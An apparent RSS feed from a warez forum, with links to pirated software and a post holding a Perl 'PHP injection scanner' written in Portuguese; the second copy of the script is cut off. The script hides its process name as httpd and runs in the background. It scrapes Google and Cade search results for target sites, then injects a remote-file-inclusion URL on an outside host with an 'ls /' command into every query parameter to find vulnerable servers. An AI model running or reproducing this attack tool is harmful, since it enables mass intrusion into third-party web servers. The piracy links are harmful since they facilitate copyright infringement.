<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/">
	<channel>
		<title><![CDATA[Warez4Ever - Programe H@ck]]></title>
		<link>http://warez4ever.3x.ro/</link>
		<description><![CDATA[Warez4Ever - http://warez4ever.3x.ro]]></description>
		<pubDate>Mon, 25 May 2026 14:27:49 +0000</pubDate>
		<generator>MyBB</generator>
		<item>
			<title><![CDATA[DarkMoon v4.11]]></title>
			<link>http://warez4ever.3x.ro/showthread.php?tid=104</link>
			<pubDate>Wed, 21 Nov 2007 20:44:15 +0000</pubDate>
			<guid isPermaLink="false">http://warez4ever.3x.ro/showthread.php?tid=104</guid>
			<description><![CDATA[<br />
<br />
Download : <br />
<br />
Cod:<br />
http://rapidshare.com/files/65265732/DarkMoon_v4.11.zip.html<br />
<br />
]]></description>
			<content:encoded><![CDATA[<br />
<br />
Download : <br />
<br />
Cod:<br />
http://rapidshare.com/files/65265732/DarkMoon_v4.11.zip.html<br />
<br />
]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[[Video]O legenda vie]]></title>
			<link>http://warez4ever.3x.ro/showthread.php?tid=100</link>
			<pubDate>Fri, 16 Nov 2007 23:06:42 +0000</pubDate>
			<guid isPermaLink="false">http://warez4ever.3x.ro/showthread.php?tid=100</guid>
			<description><![CDATA[]]></description>
			<content:encoded><![CDATA[]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Hide The IP v2.1.1]]></title>
			<link>http://warez4ever.3x.ro/showthread.php?tid=73</link>
			<pubDate>Sun, 28 Oct 2007 00:39:28 +0000</pubDate>
			<guid isPermaLink="false">http://warez4ever.3x.ro/showthread.php?tid=73</guid>
			<description><![CDATA[<br />
<br />
Download : <br />
<br />
Cod:<br />
http://rapidshare.com/files/34023874/Hide.The.IP.v2.1.1.rar<br />
<br />
]]></description>
			<content:encoded><![CDATA[<br />
<br />
Download : <br />
<br />
Cod:<br />
http://rapidshare.com/files/34023874/Hide.The.IP.v2.1.1.rar<br />
<br />
]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[PHP Injection Scanner]]></title>
			<link>http://warez4ever.3x.ro/showthread.php?tid=40</link>
			<pubDate>Sat, 20 Oct 2007 21:45:32 +0000</pubDate>
			<guid isPermaLink="false">http://warez4ever.3x.ro/showthread.php?tid=40</guid>
			<description><![CDATA[<br />
Cod:<br />
#!/usr/bin/perl <br />
&nbsp;&nbsp;<br />
use LWP::Simple; <br />
use IO::Socket::INET; <br />
&nbsp;&nbsp;<br />
&nbsp;&nbsp;<br />
&nbsp;&nbsp;<br />
print "&#92;n&#92;n&#92;n&#92;n&#92;n&#92;n&#92;n&#92;n&#92;n&#92;n&#92;n&#92;n&#92;n&#92;n&#92;n&#92;n&#92;n&#92;n"; <br />
print "&#92;t[ PHP injection scanner 5.0 priv8 version &#92;n&#92;n&#92;n"; <br />
&nbsp;&nbsp;<br />
if(!@ARGV[0]){ <br />
print "&#92;t[ use: perl php5.0.pl &lt;procura&gt; ]&#92;n&#92;n"; <br />
exit; <br />
} <br />
print "&#92;t[ Camuflando pid ]&#92;n"; <br />
my &#36;processo = "/usr/local/sbin/httpd - spy"; <br />
&#36;SIG{"INT"} = "IGNORE"; <br />
&#36;SIG{"HUP"} = "IGNORE"; <br />
&#36;SIG{"TERM"} = "IGNORE"; <br />
&#36;SIG{"CHLD"} = "IGNORE"; <br />
&#36;SIG{"PS"} = "IGNORE"; <br />
&nbsp;&nbsp;<br />
&#36;0="&#36;processo"."&#92;0"x16;; <br />
my &#36;pid=fork; <br />
exit if &#36;pid; <br />
die "Problema com o fork: &#36;!" unless defined(&#36;pid); <br />
&nbsp;&nbsp;<br />
print "&#92;t[ Pid: &#36;pid Processo: &#36;processo ]&#92;n"; <br />
&nbsp;&nbsp;<br />
&#36;caxe = "."; <br />
&#36;caxe1 = "."; <br />
&#36;caxe .= rand(9999); <br />
&#36;caxe1 .= rand(9999); <br />
&#36;arq = "."; <br />
&#36;arq = int rand(9999); <br />
&nbsp;&nbsp;<br />
open(sites,"&gt;&#36;arq"); <br />
print sites ""; <br />
close(sites); <br />
&nbsp;&nbsp;<br />
&nbsp;&nbsp;<br />
&#36;procura = @ARGV[0]; <br />
chomp &#36;procura; <br />
print "&#92;t[ Procurando por &#36;procura no Google ]&#92;n"; <br />
for(&#36;n=0;&#36;n&lt;900;&#36;n += 10){ <br />
&#36;sock = IO::Socket::INET-&gt;new(PeerAddr =&gt; "www.google.com.br", PeerPort =&gt; 80, Proto =&gt; "tcp") or next; <br />
print &#36;sock "GET /search?q=&#36;procura&amp;start=&#36;n HTTP/1.0&#92;n&#92;n"; <br />
print &#36;sock "Host: www.google.com.br"; <br />
print &#36;sock "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.0.1) Gecko/20020823 Netscape/7.0"; <br />
print &#36;sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,text/css,*/*;q=0.1"; <br />
print &#36;sock "Accept-Language: pt-br, pt;q=0.50"; <br />
print &#36;sock "Accept-Encoding: gzip, deflate, compress;q=0.9"; <br />
print &#36;sock "Accept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66"; <br />
print &#36;sock "Keep-Alive: 300"; <br />
print &#36;sock "Connection: keep-alive"; <br />
&nbsp;&nbsp;<br />
@resu = &lt;&#36;sock&gt;; <br />
close(&#36;sock); <br />
&#36;ae = "@resu"; <br />
while (&#36;ae=~ m/&lt;a href=.*?&amp;gt;.*?&lt;&#92;/a&gt;/){ <br />
&nbsp;&nbsp;&#36;ae=~ s/&lt;a href=(.*?)&gt;.*?&lt;&#92;/a&gt;/&#36;1/; <br />
&nbsp;&nbsp;&#36;uber=&#36;1; <br />
&nbsp;&nbsp; if (&#36;uber !~/translate/) <br />
&nbsp;&nbsp; { <br />
&nbsp;&nbsp; if (&#36;uber !~ /cache/) <br />
&nbsp;&nbsp; { <br />
&nbsp;&nbsp; if (&#36;uber !~ /"/) <br />
&nbsp;&nbsp; { <br />
&nbsp;&nbsp; if (&#36;uber !~ /google/) <br />
&nbsp;&nbsp; { <br />
&nbsp;&nbsp; if (&#36;uber !~ /216/) <br />
&nbsp;&nbsp; { <br />
&nbsp;&nbsp; if (&#36;uber =~/http/) <br />
&nbsp;&nbsp; { <br />
&nbsp;&nbsp; if (&#36;uber !~ /start=/) <br />
&nbsp;&nbsp; { <br />
&nbsp;&nbsp;&nbsp;&nbsp; open(arq,"&gt;&gt;&#36;arq"); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print arq "&#36;uber&#92;n"; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;close(arq); <br />
}}}}}}}}} <br />
print "&#92;t[ Procurando por &#36;procura no Cade&nbsp;&nbsp; ]&#92;n"; <br />
&nbsp;&nbsp;<br />
for(&#36;cadenu=1;&#36;cadenu &lt;= 991; &#36;cadenu +=10){ <br />
&nbsp;&nbsp;<br />
@cade = get("http://cade.search.yahoo.com/search?p=&#36;procura&amp;ei=UTF-8&amp;fl=0&amp;all=1&amp;pstart=1&amp;b=&#36;cadenu") or next; <br />
&#36;ae = "@cade"; <br />
&nbsp;&nbsp;<br />
while (&#36;ae=~ m/&lt;em class=yschurl&gt;.*?&lt;&#92;/em&gt;/){ <br />
&nbsp;&nbsp;&#36;ae=~ s/&lt;em class=yschurl&gt;(.*?)&lt;&#92;/em&gt;/&#36;1/; <br />
&nbsp;&nbsp;&#36;uber=&#36;1; <br />
&nbsp;&nbsp;<br />
&#36;uber =~ s/ //g; <br />
&#36;uber =~ s/&lt;b&gt;//g; <br />
&#36;uber =~ s/&lt;&#92;/b&gt;//g; <br />
&nbsp;&nbsp;<br />
open(a,"&gt;&gt;&#36;arq"); <br />
print a "&#36;uber&#92;n"; <br />
close(a); <br />
}} <br />
print "&#92;t[ Pronto sites pegos no google e cade ]&#92;n"; <br />
print "&#92;t[ Excluindo os sites repetidos ]&#92;n"; <br />
&#36;ark = &#36;arq; <br />
@si = ""; <br />
open (arquivo,"&lt;&#36;ark"); <br />
@si = &lt;arquivo&gt;; <br />
close(arquivo); <br />
&#36;novo =""; <br />
foreach (@si){ <br />
if (!&#36;si{&#36;_}) <br />
{ <br />
&#36;novo .= &#36;_; <br />
&#36;si{&#36;_} = 1; <br />
} <br />
} <br />
open (arquivo,"&gt;&#36;ark"); <br />
print arquivo &#36;novo; <br />
close(arquivo); <br />
&nbsp;&nbsp;<br />
&nbsp;&nbsp;<br />
&#36;a =0; <br />
&#36;b =0; <br />
open(ae,"&lt;&#36;arq"); <br />
while(&lt;ae&gt;) <br />
{&#36;sites[&#36;a] = &#36;_; <br />
&nbsp;&nbsp;chomp &#36;sites[&#36;a]; <br />
&nbsp;&nbsp;&#36;a++; <br />
&nbsp;&nbsp;&#36;b++;} <br />
close(ae); <br />
print "&#92;t[ Total de sites para scanear: &#36;a ]&#92;n"; <br />
for (&#36;a=0;&#36;a&lt;=&#36;b;&#36;a++){ <br />
open (file, "&gt;&#36;caxe"); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print file ""; <br />
close(file); <br />
open (file, "&gt;&#36;caxe1"); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print file ""; <br />
close(file); <br />
&#36;k=0; <br />
&#36;e=0; <br />
&#36;data=get(&#36;sites[&#36;a]) or next; <br />
&nbsp;&nbsp;while(&#36;data=~ m/&lt;a href=".*?"&gt;.*?&lt;&#92;/a&gt;/){ <br />
&nbsp;&nbsp;&#36;data=~ s/&lt;a href="(.*?)"&gt;.*?&lt;&#92;/a&gt;/&#36;1/; <br />
&nbsp;&nbsp;&#36;ubersite=&#36;1; <br />
&nbsp;&nbsp;<br />
&nbsp;&nbsp;if (&#36;ubersite =~/"/) <br />
&nbsp;&nbsp; { <br />
&nbsp;&nbsp; &#36;nu = index &#36;ubersite, '"'; <br />
&nbsp;&nbsp; &#36;ubersite = substr(&#36;ubersite,0,&#36;nu); <br />
&nbsp;&nbsp; } <br />
if (&#36;ubersite !~/http/) <br />
{&#36;ubersite = &#36;sites[&#36;a].'/'.&#36;ubersite;} <br />
open(file,"&gt;&gt;&#36;caxe") || die("nao abriu caxe.txt &#36;!"); <br />
print file "&#36;ubersite&#92;n"; <br />
close(file); <br />
} <br />
&nbsp;&nbsp;<br />
&#36;lista1 = 'http://www.spykidsgroup.com/spy.gif?&amp;cmd=ls%20/'; <br />
&#36;t =0; <br />
&#36;y =0; <br />
@ja; <br />
open(opa,"&lt;&#36;caxe") or die "nao deu pra abrir o arquivo caxe.txt"; <br />
while (&lt;opa&gt;) <br />
{ <br />
&#36;ja[&#36;t] = &#36;_; <br />
chomp &#36;ja[&#36;t]; <br />
&#36;t++; <br />
&#36;y++; <br />
} <br />
close(opa); <br />
&#36;t=1; <br />
while (&#36;t &lt; &#36;y) <br />
&nbsp;&nbsp; { <br />
&nbsp;&nbsp;&nbsp;&nbsp;if (&#36;ja[&#36;t] =~/=/) <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#36;num = rindex &#36;ja[&#36;t], '='; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#36;num += 1; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#36;ja[&#36;t] = substr(&#36;ja[&#36;t],0,&#36;num); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;open (jaera,"&gt;&gt;&#36;caxe1") or die "nao deu pra abrir ou criar caxe1.txt"; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print jaera "&#36;ja[&#36;t]&#36;lista1&#92;n"; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;close(jaera); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;num = index &#36;ja[&#36;t], '='; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;num += 1; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;ja[&#36;t] = substr(&#36;ja[&#36;t],0,&#36;num);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;num1 = rindex &#36;ja[&#36;t], '.'; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;subproc = substr(&#36;ja[&#36;t],&#36;num1,&#36;num); <br />
&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;open (jaera,"&gt;&gt;&#36;caxe1") or die "nao deu pra abrir ou criar caxe1.txt"; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print jaera "&#36;ja[&#36;t]&#36;lista1&#92;n"; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;close(jaera); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} <br />
&nbsp;&nbsp;&nbsp;&nbsp; &#36;t++; <br />
&nbsp;&nbsp;&nbsp;&nbsp; } <br />
&#36;ark = "&#36;caxe1"; <br />
@si = ""; <br />
open (arquivo,"&lt;&#36;ark"); <br />
@si = &lt;arquivo&gt;; <br />
close(arquivo); <br />
&#36;novo =""; <br />
foreach (@si){ <br />
if (!&#36;si{&#36;_}) <br />
{ <br />
&#36;novo .= &#36;_; <br />
&#36;si{&#36;_} = 1; <br />
} <br />
} <br />
open (arquivo,"&gt;&#36;ark"); <br />
print arquivo &#36;novo; <br />
close(arquivo); <br />
&nbsp;&nbsp; &#36;q=0; <br />
&nbsp;&nbsp; &#36;w=0; <br />
&nbsp;&nbsp;&nbsp;&nbsp;@hot; <br />
&nbsp;&nbsp; open (ops,"&lt;&#36;caxe1"); <br />
&nbsp;&nbsp; while(&lt;ops&gt;) <br />
&nbsp;&nbsp; { <br />
&nbsp;&nbsp; &#36;hot[&#36;q] = &#36;_; <br />
&nbsp;&nbsp; chomp &#36;hot[&#36;q]; <br />
&nbsp;&nbsp; &#36;q++; <br />
&nbsp;&nbsp; &#36;w++; <br />
&nbsp;&nbsp; } <br />
&nbsp;&nbsp; close(ops); <br />
print "&#92;t[ ComeÃ§ando o scan aguarde. Pode demorar horas. ]&#92;n"; <br />
for(&#36;q=0;&#36;q&lt;=&#36;w;&#36;q++) <br />
&nbsp;&nbsp;{ <br />
&nbsp;&nbsp;<br />
&nbsp;&nbsp;if (&#36;hot[&#36;q] =~/http/) <br />
&nbsp;&nbsp;&nbsp;&nbsp;{ <br />
&nbsp;&nbsp; &#36;tipo=get(&#36;hot[&#36;q]) or next; <br />
&nbsp;&nbsp; if(&#36;tipo =~/root/) <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; { <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (&#36;tipo =~/etc/) <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (&#36;tipo =~/boot/) <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; { <br />
&nbsp;&nbsp;&nbsp;&nbsp;open(a,"&gt;&gt;res.txt"); <br />
&nbsp;&nbsp;&nbsp;&nbsp;print a "&#36;hot[&#36;q]&#92;n"; <br />
&nbsp;&nbsp;&nbsp;&nbsp;close(a); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }}}}}} <br />
&nbsp;&nbsp;<br />
print "&#92;t[ Pronto scanner concluido ]&#92;n"; <br />
print "&#92;t[ O resultado foi salvo no ftp do spykids ]&#92;n"<br />
<br />
]]></description>
			<content:encoded><![CDATA[<br />
Cod:<br />
#!/usr/bin/perl <br />
&nbsp;&nbsp;<br />
use LWP::Simple; <br />
use IO::Socket::INET; <br />
&nbsp;&nbsp;<br />
&nbsp;&nbsp;<br />
&nbsp;&nbsp;<br />
print "&#92;n&#92;n&#92;n&#92;n&#92;n&#92;n&#92;n&#92;n&#92;n&#92;n&#92;n&#92;n&#92;n&#92;n&#92;n&#92;n&#92;n&#92;n"; <br />
print "&#92;t[ PHP injection scanner 5.0 priv8 version &#92;n&#92;n&#92;n"; <br />
&nbsp;&nbsp;<br />
if(!@ARGV[0]){ <br />
print "&#92;t[ use: perl php5.0.pl &lt;procura&gt; ]&#92;n&#92;n"; <br />
exit; <br />
} <br />
print "&#92;t[ Camuflando pid ]&#92;n"; <br />
my &#36;processo = "/usr/local/sbin/httpd - spy"; <br />
&#36;SIG{"INT"} = "IGNORE"; <br />
&#36;SIG{"HUP"} = "IGNORE"; <br />
&#36;SIG{"TERM"} = "IGNORE"; <br />
&#36;SIG{"CHLD"} = "IGNORE"; <br />
&#36;SIG{"PS"} = "IGNORE"; <br />
&nbsp;&nbsp;<br />
&#36;0="&#36;processo"."&#92;0"x16;; <br />
my &#36;pid=fork; <br />
exit if &#36;pid; <br />
die "Problema com o fork: &#36;!" unless defined(&#36;pid); <br />
&nbsp;&nbsp;<br />
print "&#92;t[ Pid: &#36;pid Processo: &#36;processo ]&#92;n"; <br />
&nbsp;&nbsp;<br />
&#36;caxe = "."; <br />
&#36;caxe1 = "."; <br />
&#36;caxe .= rand(9999); <br />
&#36;caxe1 .= rand(9999); <br />
&#36;arq = "."; <br />
&#36;arq = int rand(9999); <br />
&nbsp;&nbsp;<br />
open(sites,"&gt;&#36;arq"); <br />
print sites ""; <br />
close(sites); <br />
&nbsp;&nbsp;<br />
&nbsp;&nbsp;<br />
&#36;procura = @ARGV[0]; <br />
chomp &#36;procura; <br />
print "&#92;t[ Procurando por &#36;procura no Google ]&#92;n"; <br />
for(&#36;n=0;&#36;n&lt;900;&#36;n += 10){ <br />
&#36;sock = IO::Socket::INET-&gt;new(PeerAddr =&gt; "www.google.com.br", PeerPort =&gt; 80, Proto =&gt; "tcp") or next; <br />
print &#36;sock "GET /search?q=&#36;procura&amp;start=&#36;n HTTP/1.0&#92;n&#92;n"; <br />
print &#36;sock "Host: www.google.com.br"; <br />
print &#36;sock "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.0.1) Gecko/20020823 Netscape/7.0"; <br />
print &#36;sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,text/css,*/*;q=0.1"; <br />
print &#36;sock "Accept-Language: pt-br, pt;q=0.50"; <br />
print &#36;sock "Accept-Encoding: gzip, deflate, compress;q=0.9"; <br />
print &#36;sock "Accept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66"; <br />
print &#36;sock "Keep-Alive: 300"; <br />
print &#36;sock "Connection: keep-alive"; <br />
&nbsp;&nbsp;<br />
@resu = &lt;&#36;sock&gt;; <br />
close(&#36;sock); <br />
&#36;ae = "@resu"; <br />
while (&#36;ae=~ m/&lt;a href=.*?&amp;gt;.*?&lt;&#92;/a&gt;/){ <br />
&nbsp;&nbsp;&#36;ae=~ s/&lt;a href=(.*?)&gt;.*?&lt;&#92;/a&gt;/&#36;1/; <br />
&nbsp;&nbsp;&#36;uber=&#36;1; <br />
&nbsp;&nbsp; if (&#36;uber !~/translate/) <br />
&nbsp;&nbsp; { <br />
&nbsp;&nbsp; if (&#36;uber !~ /cache/) <br />
&nbsp;&nbsp; { <br />
&nbsp;&nbsp; if (&#36;uber !~ /"/) <br />
&nbsp;&nbsp; { <br />
&nbsp;&nbsp; if (&#36;uber !~ /google/) <br />
&nbsp;&nbsp; { <br />
&nbsp;&nbsp; if (&#36;uber !~ /216/) <br />
&nbsp;&nbsp; { <br />
&nbsp;&nbsp; if (&#36;uber =~/http/) <br />
&nbsp;&nbsp; { <br />
&nbsp;&nbsp; if (&#36;uber !~ /start=/) <br />
&nbsp;&nbsp; { <br />
&nbsp;&nbsp;&nbsp;&nbsp; open(arq,"&gt;&gt;&#36;arq"); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print arq "&#36;uber&#92;n"; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;close(arq); <br />
}}}}}}}}} <br />
print "&#92;t[ Procurando por &#36;procura no Cade&nbsp;&nbsp; ]&#92;n"; <br />
&nbsp;&nbsp;<br />
for(&#36;cadenu=1;&#36;cadenu &lt;= 991; &#36;cadenu +=10){ <br />
&nbsp;&nbsp;<br />
@cade = get("http://cade.search.yahoo.com/search?p=&#36;procura&amp;ei=UTF-8&amp;fl=0&amp;all=1&amp;pstart=1&amp;b=&#36;cadenu") or next; <br />
&#36;ae = "@cade"; <br />
&nbsp;&nbsp;<br />
while (&#36;ae=~ m/&lt;em class=yschurl&gt;.*?&lt;&#92;/em&gt;/){ <br />
&nbsp;&nbsp;&#36;ae=~ s/&lt;em class=yschurl&gt;(.*?)&lt;&#92;/em&gt;/&#36;1/; <br />
&nbsp;&nbsp;&#36;uber=&#36;1; <br />
&nbsp;&nbsp;<br />
&#36;uber =~ s/ //g; <br />
&#36;uber =~ s/&lt;b&gt;//g; <br />
&#36;uber =~ s/&lt;&#92;/b&gt;//g; <br />
&nbsp;&nbsp;<br />
open(a,"&gt;&gt;&#36;arq"); <br />
print a "&#36;uber&#92;n"; <br />
close(a); <br />
}} <br />
print "&#92;t[ Pronto sites pegos no google e cade ]&#92;n"; <br />
print "&#92;t[ Excluindo os sites repetidos ]&#92;n"; <br />
&#36;ark = &#36;arq; <br />
@si = ""; <br />
open (arquivo,"&lt;&#36;ark"); <br />
@si = &lt;arquivo&gt;; <br />
close(arquivo); <br />
&#36;novo =""; <br />
foreach (@si){ <br />
if (!&#36;si{&#36;_}) <br />
{ <br />
&#36;novo .= &#36;_; <br />
&#36;si{&#36;_} = 1; <br />
} <br />
} <br />
open (arquivo,"&gt;&#36;ark"); <br />
print arquivo &#36;novo; <br />
close(arquivo); <br />
&nbsp;&nbsp;<br />
&nbsp;&nbsp;<br />
&#36;a =0; <br />
&#36;b =0; <br />
open(ae,"&lt;&#36;arq"); <br />
while(&lt;ae&gt;) <br />
{&#36;sites[&#36;a] = &#36;_; <br />
&nbsp;&nbsp;chomp &#36;sites[&#36;a]; <br />
&nbsp;&nbsp;&#36;a++; <br />
&nbsp;&nbsp;&#36;b++;} <br />
close(ae); <br />
print "&#92;t[ Total de sites para scanear: &#36;a ]&#92;n"; <br />
for (&#36;a=0;&#36;a&lt;=&#36;b;&#36;a++){ <br />
open (file, "&gt;&#36;caxe"); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print file ""; <br />
close(file); <br />
open (file, "&gt;&#36;caxe1"); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print file ""; <br />
close(file); <br />
&#36;k=0; <br />
&#36;e=0; <br />
&#36;data=get(&#36;sites[&#36;a]) or next; <br />
&nbsp;&nbsp;while(&#36;data=~ m/&lt;a href=".*?"&gt;.*?&lt;&#92;/a&gt;/){ <br />
&nbsp;&nbsp;&#36;data=~ s/&lt;a href="(.*?)"&gt;.*?&lt;&#92;/a&gt;/&#36;1/; <br />
&nbsp;&nbsp;&#36;ubersite=&#36;1; <br />
&nbsp;&nbsp;<br />
&nbsp;&nbsp;if (&#36;ubersite =~/"/) <br />
&nbsp;&nbsp; { <br />
&nbsp;&nbsp; &#36;nu = index &#36;ubersite, '"'; <br />
&nbsp;&nbsp; &#36;ubersite = substr(&#36;ubersite,0,&#36;nu); <br />
&nbsp;&nbsp; } <br />
if (&#36;ubersite !~/http/) <br />
{&#36;ubersite = &#36;sites[&#36;a].'/'.&#36;ubersite;} <br />
open(file,"&gt;&gt;&#36;caxe") || die("nao abriu caxe.txt &#36;!"); <br />
print file "&#36;ubersite&#92;n"; <br />
close(file); <br />
} <br />
&nbsp;&nbsp;<br />
&#36;lista1 = 'http://www.spykidsgroup.com/spy.gif?&amp;cmd=ls%20/'; <br />
&#36;t =0; <br />
&#36;y =0; <br />
@ja; <br />
open(opa,"&lt;&#36;caxe") or die "nao deu pra abrir o arquivo caxe.txt"; <br />
while (&lt;opa&gt;) <br />
{ <br />
&#36;ja[&#36;t] = &#36;_; <br />
chomp &#36;ja[&#36;t]; <br />
&#36;t++; <br />
&#36;y++; <br />
} <br />
close(opa); <br />
&#36;t=1; <br />
while (&#36;t &lt; &#36;y) <br />
&nbsp;&nbsp; { <br />
&nbsp;&nbsp;&nbsp;&nbsp;if (&#36;ja[&#36;t] =~/=/) <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#36;num = rindex &#36;ja[&#36;t], '='; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#36;num += 1; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#36;ja[&#36;t] = substr(&#36;ja[&#36;t],0,&#36;num); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;open (jaera,"&gt;&gt;&#36;caxe1") or die "nao deu pra abrir ou criar caxe1.txt"; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print jaera "&#36;ja[&#36;t]&#36;lista1&#92;n"; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;close(jaera); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;num = index &#36;ja[&#36;t], '='; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;num += 1; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;ja[&#36;t] = substr(&#36;ja[&#36;t],0,&#36;num);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;num1 = rindex &#36;ja[&#36;t], '.'; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;subproc = substr(&#36;ja[&#36;t],&#36;num1,&#36;num); <br />
&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;open (jaera,"&gt;&gt;&#36;caxe1") or die "nao deu pra abrir ou criar caxe1.txt"; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print jaera "&#36;ja[&#36;t]&#36;lista1&#92;n"; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;close(jaera); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} <br />
&nbsp;&nbsp;&nbsp;&nbsp; &#36;t++; <br />
&nbsp;&nbsp;&nbsp;&nbsp; } <br />
&#36;ark = "&#36;caxe1"; <br />
@si = ""; <br />
open (arquivo,"&lt;&#36;ark"); <br />
@si = &lt;arquivo&gt;; <br />
close(arquivo); <br />
&#36;novo =""; <br />
foreach (@si){ <br />
if (!&#36;si{&#36;_}) <br />
{ <br />
&#36;novo .= &#36;_; <br />
&#36;si{&#36;_} = 1; <br />
} <br />
} <br />
open (arquivo,"&gt;&#36;ark"); <br />
print arquivo &#36;novo; <br />
close(arquivo); <br />
&nbsp;&nbsp; &#36;q=0; <br />
&nbsp;&nbsp; &#36;w=0; <br />
&nbsp;&nbsp;&nbsp;&nbsp;@hot; <br />
&nbsp;&nbsp; open (ops,"&lt;&#36;caxe1"); <br />
&nbsp;&nbsp; while(&lt;ops&gt;) <br />
&nbsp;&nbsp; { <br />
&nbsp;&nbsp; &#36;hot[&#36;q] = &#36;_; <br />
&nbsp;&nbsp; chomp &#36;hot[&#36;q]; <br />
&nbsp;&nbsp; &#36;q++; <br />
